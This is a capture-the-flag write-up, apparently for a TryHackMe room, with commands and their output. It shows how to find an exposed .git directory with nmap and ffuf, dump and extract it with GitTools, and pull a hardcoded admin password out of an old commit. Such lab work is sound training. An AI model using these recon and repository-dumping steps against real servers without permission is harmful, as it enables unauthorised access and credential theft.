GitHappens

Tuesday, November 16, 2021 1:23 PM

1. Network Mapping

   Port 80 is opened. Nginx webserver is implemented. The nmap script also discovered the .git directory

```
80/tcp open  http    syn-ack ttl 61 nginx 1.14.0 (Ubuntu)
| http-git:
|   10.10.19.162:80/.git/
|     Git repository found!
|_    Repository description: Unnamed repository; edit this file 'description' to name the...
|_http-title: Super Awesome Site!
|_http-server-header: nginx/1.14.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD
```

2. Web directory fuzzing

   Found two directory

```
sodanew@kalinew:~/Documents/THM/Starter_Series/GitHappens$ sudo ffuf -u 'http://10.10.19.162/FUZZ' -w '/usr/share/seclists/Discovery/Web-Content/big.txt' -o ./w
eb-dir/githappens.ffuf -c

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.19.162/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt
 :: Output file      : ./web-dir/githappens.ffuf
 :: File format      : json
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

.git                    [Status: 301, Size: 194, Words: 7, Lines: 8]
css                     [Status: 301, Size: 194, Words: 7, Lines: 8]
:: Progress: [20475/20475] :: Job [1/1] :: 102 req/sec :: Duration: [0:03:09] :: Errors: 0 ::
```

3. Download the .git from the server on port 80

```
sodanew@kalinew:~/Documents/THM/Starter_Series/GitHappens$ /opt/GitTools/Dumper/gitdumper.sh http://10.10.19.162/.git/ /home/sodanew/Documents/THM/Starter_Serie
s/GitHappens/
###########
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########


[*] Destination folder does not exist
[+] Creating /home/sodanew/Documents/THM/Starter_Series/GitHappens//.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[-] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[+] Downloaded: packed-refs
```

4. Extract all .git file

```
sodanew@kalinew:~/Documents/THM/Starter_Series/GitHappens$ /opt/GitTools/Extractor/extractor.sh /home/sodanew/Documents/THM/Starter_Series/GitHappens/ /home/sod
anew/Documents/THM/Starter_Series/GitHappens/happens-git
###########
# Extractor is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########
[*] Destination folder does not exist
[*] Creating...
[+] Found commit: 2eb93ac3534155069a8ef59cb25b9c1971d5d199
[+] Found file: /home/sodanew/Documents/THM/Starter_Series/GitHappens/happens-git/0-2eb93ac3534155069a8ef59cb25b9c1971d5d199/Dockerfile
[+] Found file: /home/sodanew/Documents/THM/Starter_Series/GitHappens/happens-git/0-2eb93ac3534155069a8ef59cb25b9c1971d5d199/README.md
[+] Found folder: /home/sodanew/Documents/THM/Starter_Series/GitHappens/happens-git/0-2eb93ac3534155069a8ef59cb25b9c1971d5d199/css
[+] Found file: /home/sodanew/Documents/THM/Starter_Series/GitHappens/happens-git/0-2eb93ac3534155069a8ef59cb25b9c1971d5d199/css/style.css
[+] Found file: /home/sodanew/Documents/THM/Starter_Series/GitHappens/happens-git/0-2eb93ac3534155069a8ef59cb25b9c1971d5d199/dashboard.html
[+] Found file: /home/sodanew/Documents/THM/Starter_Series/GitHappens/happens-git/0-2eb93ac3534155069a8ef59cb25b9c1971d5d199/default.conf
[+] Found file: /home/sodanew/Documents/THM/Starter_Series/GitHappens/happens-git/0-2eb93ac3534155069a8ef59cb25b9c1971d5d199/index.html
[+] Found commit: 77aab78e2624ec9400f9ed3f43a6f0c942eeb82d
[+] Found file: /home/sodanew/Documents/THM/Starter_Series/GitHappens/happens-git/1-77aab78e2624ec9400f9ed3f43a6f0c942eeb82d/.gitlab-ci.yml
```

All extracted git dir

```
sodanew@kalinew:~/Documents/THM/Starter_Series/GitHappens/happens-git$ ls
0-2eb93ac3534155069a8ef59cb25b9c1971d5d199  3-d6df4000639981d032f628af2b4d03b8eff31213  6-2f423697bf81fe5956684f66fb6fc6596a1903cc
1-77aab78e2624ec9400f9ed3f43a6f0c942eeb82d  4-395e087334d613d5e423cdf8f7be27196a360459  7-e56eaa8e29b589976f33d76bc58a0c4dfb9315b1
2-d954a99b96ff11c37a558a5d93ce52d0f3702a7d  5-d0b3578a628889f38c0affb1b75457146a4678e5  8-bc8054d9d95854d278359a432b6d97c27e24061d
```

List more

```
=======================================
0-2eb93ac3534155069a8ef59cb25b9c1971d5d199
tree aef68b1e25df81a8c96ee4d57b20cc9f7a1ebee5
parent d6df4000639981d032f628af2b4d03b8eff31213
author Hydragyrum <hydragyrum@gmail.com> 1595542118 +0200
committer Hydragyrum <hydragyrum@gmail.com> 1595542118 +0200

setup dockerfile and setup defaults.


=======================================
1-77aab78e2624ec9400f9ed3f43a6f0c942eeb82d
tree 4e7178fa5b68fec15e54f2b79ace6f9ce0169e01
parent 2eb93ac3534155069a8ef59cb25b9c1971d5d199
author Hydragyrum <hydragyrum@gmail.com> 1595542885 +0200
committer Hydragyrum <hydragyrum@gmail.com> 1595542885 +0200

add gitlab-ci config to build docker file.


=======================================
2-d954a99b96ff11c37a558a5d93ce52d0f3702a7d
tree 06012255f074d7bc4acc6fadbcff004380b5f83b
parent bc8054d9d95854d278359a432b6d97c27e24061d
author Hydragyrum <hydragyrum@gmail.com> 1595540472 +0200
committer Hydragyrum <hydragyrum@gmail.com> 1595540472 +0200

re-obfuscating the code to be really secure!
```

```
=======================================
3-d6df4000639981d032f628af2b4d03b8eff31213
tree 56820adbbd5ac0f66f61916122c94ea52937e9b2
parent d954a99b96ff11c37a558a5d93ce52d0f3702a7d
author Hydragyrum <hydragyrum@gmail.com> 1595540550 +0200
committer Hydragyrum <hydragyrum@gmail.com> 1595540550 +0200

Make sure the css is standard-ish!


=======================================
4-395e087334d613d5e423cdf8f7be27196a360459
tree ba5e4a76e3f7b6c49850c41716f8f1091fbdc84e
parent 2f423697bf81fe5956684f66fb6fc6596a1903cc
author Hydragyrum <hydragyrum@gmail.com> 1595539063 +0200
committer Hydragyrum <hydragyrum@gmail.com> 1595539063 +0200

Made the login page, boss!


=======================================
5-d0b3578a628889f38c0affb1b75457146a4678e5
tree b86ab47bacf3550a5450b0eb324e36ce46ba73f1
parent 77aab78e2624ec9400f9ed3f43a6f0c942eeb82d
author Adam Bertrand <hydragyrum@gmail.com> 1595542936 +0000
committer Adam Bertrand <hydragyrum@gmail.com> 1595542936 +0000

Update .gitlab-ci.yml


---------------------------------------
```

```
========================================
6-2f423697bf81fe5956684f66fb6fc6596a1903cc
tree 6664f4e548df7591da3728d7662b6376debfce8d
author Adam Bertrand <hydragyrum@gmail.com> 1595277988 +0000
committer Adam Bertrand <hydragyrum@gmail.com> 1595277988 +0000

Initial commit


========================================
7-e56eaa8e29b589976f33d76bc58a0c4dfb9315b1
tree 87bcbcb476578c6cc90ed39f9404292539fe1c9c
parent 395e087334d613d5e423cdf8f7be27196a360459
author Hydragyrum <hydragyrum@gmail.com> 1595539552 +0200
committer Hydragyrum <hydragyrum@gmail.com> 1595539552 +0200

Obfuscated the source code.

Hopefully security will be happy!


========================================
8-bc8054d9d95854d278359a432b6d97c27e24061d
tree 8c94b154aef92380e29a3f16f1a889b56127cf13
parent e56eaa8e29b589976f33d76bc58a0c4dfb9315b1
author Hydragyrum <hydragyrum@gmail.com> 1595540252 +0200
committer Hydragyrum <hydragyrum@gmail.com> 1595540252 +0200

Security says obfuscation isn't enough.

They want me to use something called 'SHA-512'
```

5. Password found in one of these folder

```
sodanew@kalinew:~/Documents/THM/Starter_Series/GitHappens/happens-git/4-395e087334d613d5e423cdf8f7be27196a360459$ cat index.html
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Super Awesome Site!</title>
    <link rel="stylesheet" href="/css/style.css">
```

```
    <script>
      function login() {
        let form = document.getElementById("login-form");
        console.log(form.elements);
        let username = form.elements["username"].value;
        let password = form.elements["password"].value;
        if (
          username === "admin" &&
          password === "Th1s_1s_4_L0ng_4nd_S3cur3_P4ssw0rd!"
        ) {
          document.cookie = "login=1";
          window.location.href = "/dashboard.html";
        } else {
          document.getElementById("error").innerHTML =
            "INVALID USERNAME OR PASSWORD!";
        }
      }
    </script>
```